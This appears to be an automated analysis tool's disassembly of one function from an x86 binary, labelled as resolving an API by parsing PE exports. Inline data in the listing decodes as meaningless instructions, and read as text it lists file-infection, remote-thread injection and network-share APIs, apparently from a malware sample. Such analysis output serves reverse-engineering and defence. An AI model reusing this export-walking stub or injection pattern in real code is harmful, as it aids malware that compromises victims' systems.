Function at 0x4010ff
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edx, edi
add edx, dword [edx + 0x3c]
mov edx, dword [edx + 0x78]
add edx, dword [ebx + 0x405649]
mov ebp, dword [edx + 0x20]
add ebp, dword [ebx + 0x405649]
xor eax, eax
push 0xe
pop ecx
mov edi, dword [ebp]
add edi, dword [ebx + 0x405649]
lea esi, [ebx + 0x405566]
repe cmpsb byte [esi], byte es:[edi]
jne 0x401130
jmp 0x401139
add ebp, 4
inc eax
cmp eax, dword [edx + 0x18]
jne 0x401118
mov ebp, dword [edx + 0x24]
add ebp, dword [ebx + 0x405649]
movzx ecx, word [ebp + eax*2]
mov ebp, dword [edx + 0x1c]
add ebp, dword [ebx + 0x405649]
mov eax, dword [ebp + ecx*4]
add eax, dword [ebx + 0x405649]
mov dword [ebx + 0x405554], eax
call 0x401311
dec esp
outsd dx, dword [esi]
popal
dec esp
imul esp, dword [edx + 0x72], 0x41797261
add byte [ebx + 0x72], al
popal
je 0x4011dd
push esp
push 0x64616572
add byte [ebx + 0x72], al
popal
je 0x4011ea
push edx
insd dword es:[edi], dx
outsd dx, dword [esi]
je 0x4011f0
push esp
push 0x64616572
add byte [edi + 0x69], dl
outsb dx, byte [esi]
inc ebp
js 0x4011fd
arpl word [eax], ax
inc ebx
jb 0x401202
popal
je 0x401205
dec ebp
jne 0x401217
js 0x4011e7
add byte [edi + 0x70], cl
outsb dx, byte gs:[esi]
dec ebp
jne 0x401222
js 0x4011f2
add byte [edx + 0x65], dl
insb byte es:[edi], dx
popal
jae 0x40121e
dec ebp
jne 0x401230
js 0x4011bf
inc esi
imul ebp, dword [esi + 0x64], 0x73726946
je 0x40120f
imul ebp, dword [ebp + 0x41], 0x6e694600
dec esi
js 0x40124a
inc esi
imul ebp, dword [ebp + 0x41], 0x6e694600
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x40124a
imul ebp, dword [esi + 0x64], 0x736f6c43
add byte gs:[ebx + 0x72], al
add byte [ebx + 0x72], al
jb 0x40124e
popal
popal
je 0x401251
inc esi
imul ebp, dword [ebp + 0x41], 0x65724300
inc ecx
add byte [ebx + 0x72], al
popal
inc ebx
jb 0x40125a
popal
je 0x40125d
inc esi
imul ebp, dword [ebp + 0x4d], 0x69707061
outsb dx, byte [esi]
popal
jo 0x401270
imul ebp, dword [esi + 0x67], 0x614d0041
inc ecx
add byte [ebp + 0x61], cl
dec ebp
popal
jo 0x40125f
imul esp, dword [ebp + 0x77], 0x6946664f
insb byte es:[edi], dx
add byte gs:[ebp + 0x6e], dl
insd dword es:[edi], dx
popal
imul ebp, dword [ebp], 0x616d6e55
jo 0x40126f
imul esp, dword [ebp + 0x77], 0x6946664f
insb byte es:[edi], dx
add byte gs:[ebx + 0x65], dl
inc esi
imul ebp, dword [ebp], 0x46746553
add byte [ebx + 0x65], dl
je 0x40126d
imul ebp, dword [ebp + 0x50], 0x746e696f
jb 0x401232
jb 0x401232
push edi
jb 0x40129e
je 0x40129c
inc esi
imul ebp, dword [ebp], 0x736f6c43
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
add byte gs:[esi + 0x69], dl
jb 0x4012c0
jne 0x4012af
insb byte es:[edi], dx
inc ecx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [eax], ax
push esi
imul esi, dword [edx + 0x74], 0x416c6175
popal
insb byte es:[edi], dx
inc ecx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ebp + 0x78], ax
add byte [edi + 0x72], dl
imul esi, dword [ebp + 0x50], 0x65636f72
jae 0x4012e3
jae 0x4012e3
jae 0x4012be
dec ebp
insd dword es:[edi], dx
outsd dx, dword [esi]
jb 0x4012ef
add byte [esi + 0x69], dl
jb 0x4012ef
jne 0x4012de
insb byte es:[edi], dx
inc esi
jb 0x4012e6
add byte gs:[esi + 0x69], dl
jb 0x4012fb
jne 0x4012ea
insb byte es:[edi], dx
inc esi
jb 0x4012f2
inc ebp
js 0x401291
insb byte es:[edi], dx
jae 0x401308
jb 0x4012f9
insd dword es:[edi], dx
jo 0x401302
add byte [ebx + esi*2 + 0x74], ch
jb 0x401302
je 0x401310
arpl word [eax + 0x79], si
jo 0x40131a
add byte [ebx + esi*2 + 0x74], ch
jb 0x40130a
popal
je 0x4012aa
insb byte es:[edi], dx
jae 0x401321
jb 0x40131b
outsb dx, byte gs:[esi]
add byte [edi + 0x65], al
je 0x4012fc
imul ebp, dword [ebp + 0x53], 0x657a69
inc edi
je 0x401315
je 0x401315
jns 0x401337
je 0x40132b
insd dword es:[edi], dx
inc esp
imul esi, dword [edx + 0x65], 0x726f7463
jns 0x401312
add byte [edi + 0x65], al
je 0x401323
outsd dx, dword [esi]
jne 0x401346
inc esi
imul ebp, dword [ebp + 0x4e], 0x41656d61
dec esi
popal
insd dword es:[edi], dx
inc ecx
inc ecx
add byte [ebx + 0x6c], dl
insb byte es:[edi], dx
jo 0x4012eb
add byte [edi + 0x65], al
je 0x401342
inc edi
je 0x401342
jns 0x401364
je 0x401358
insd dword es:[edi], dx
insd dword es:[edi], dx
push esp
imul ebp, dword [ebp + 0x65], 0x6c654400
inc esp
insb byte es:[edi], dx
insb byte es:[edi], dx
je 0x401364
inc esi
imul ebp, dword [ebp + 0x41], 0x65704f00
inc ecx
add byte [edi + 0x70], cl
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
push eax
jb 0x40137b
arpl word [ebp + 0x73], sp
jae 0x401311
add byte [edi - 0x18], bl
test byte [eax], al
pop edi
call 0x40139b
add byte [eax], al
cmp edx, dword [ebp + 0x40]
add byte [eax - 0x29ffbfc0], ah
mov al, byte [0xd6004040]
push ecx
inc eax
add ch, dl
push ebp
aad 0x55
inc eax
add byte [ecx + 0x7a004040], cl
push ebp
jp 0x401382
inc eax
add byte [ebx - 0x53ffbfab], cl
inc ebp
inc eax
add byte [edx], dl
inc esi
inc eax
adc al, byte [esi + 0x40]
add byte [eax], ah
inc esi
inc eax
add byte [esi + eax*2 + 0x46bc0040], bl
inc eax
add byte [esi + eax*2 + 0x46d90040], bh
add cl, bl
inc esi
inc eax
add bl, ch
inc edi
inc eax
add bh, al
inc edi
inc eax
add cl, ah
inc edi
inc eax
add byte [ebx - 0x17ffbfab], dl
push ebp
inc eax
add al, ch
inc esp
inc eax
add byte [edi - 0x41ffbfaf], ah
push ecx
inc eax
add byte [edx + 0x45], al
inc eax
add ch, ch
push ecx
inc eax
add byte [ebp + 0x40], bl
inc eax
add byte [ebp + eax*2 + 0x40540040], cl
inc eax
add byte [esi - 0x70ffbfb6], dl
dec ebp
inc eax
xchg esi, eax
dec edx
inc eax
add byte [edi + 0x3a00404d], cl
add byte [edx], bh
inc eax
inc eax
add byte [edx], ch
inc eax
inc eax
add byte [ecx], ah
push ebp
inc eax
add byte [ecx + 0x44], ah
inc eax
add byte [esi], bh
inc esi
inc eax
add byte [esi], dl
push ecx
inc eax
add byte [esi + 0x68], bl
and dword [eax], eax
add byte [eax], al
pop ecx
xor ebp, ebp
push ecx
push edi
push dword [ebx + 0x405649]
call dword [ebx + 0x405554]
or eax, eax
je 0x401447
mov edx, dword [ebp + esi]
mov dword [ebx + edx], eax
xor eax, eax
repne scasb al, byte es:[edi]
add ebp, 4
pop ecx
loop 0x4013a4
call 0x4013d8
dec ebp
push eax
push edx
insb byte es:[edi], dx
insb byte es:[edi], dx
add bh, bh
xchg ebx, eax
cmp edx, dword [ebp + 0x40]
add byte [ebx], cl
sal byte [ebp - 0x6a], 0xe8
push cs
add byte [eax], al
add byte [edi + 0x4e], dl
je 0x40143c
jo 0x401454
outsb dx, byte [esi]
inc ebp
outsb dx, byte [esi]
jne 0x401461
inc ecx
add byte [esi - 1], dl
xchg ebx, eax
push esp
push ebp
inc eax
add byte [ecx + 0x4044cf83], cl
add al, ch
adc al, byte [eax]
add byte [eax], al
push edi
dec esi
je 0x401452
outsb dx, byte [esi]
jne 0x40147d
push edx
jae 0x401483
jne 0x401488
arpl word [ebp + 0x41], sp
add byte [esi - 1], dl
xchg ebx, eax
push esp
push ebp
inc eax
add byte [ecx + 0x40450483], cl
add al, ch
push cs
add byte [eax], al
add byte [edi + 0x4e], dl
je 0x401474
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x40149a
inc ebp
outsb dx, byte [esi]
jne 0x4014a6
add byte [esi - 1], dl
xchg ebx, eax
push esp
push ebp
inc eax
add byte [ecx + 0x40454c83], cl
add bl, al
ret
mov al, 0x97
cld
jne 0x401465
ror byte [edi], 1
mov bh, 0x46
push es
or byte [eax], al
add byte [eax], al
add byte [eax], al
in al, dx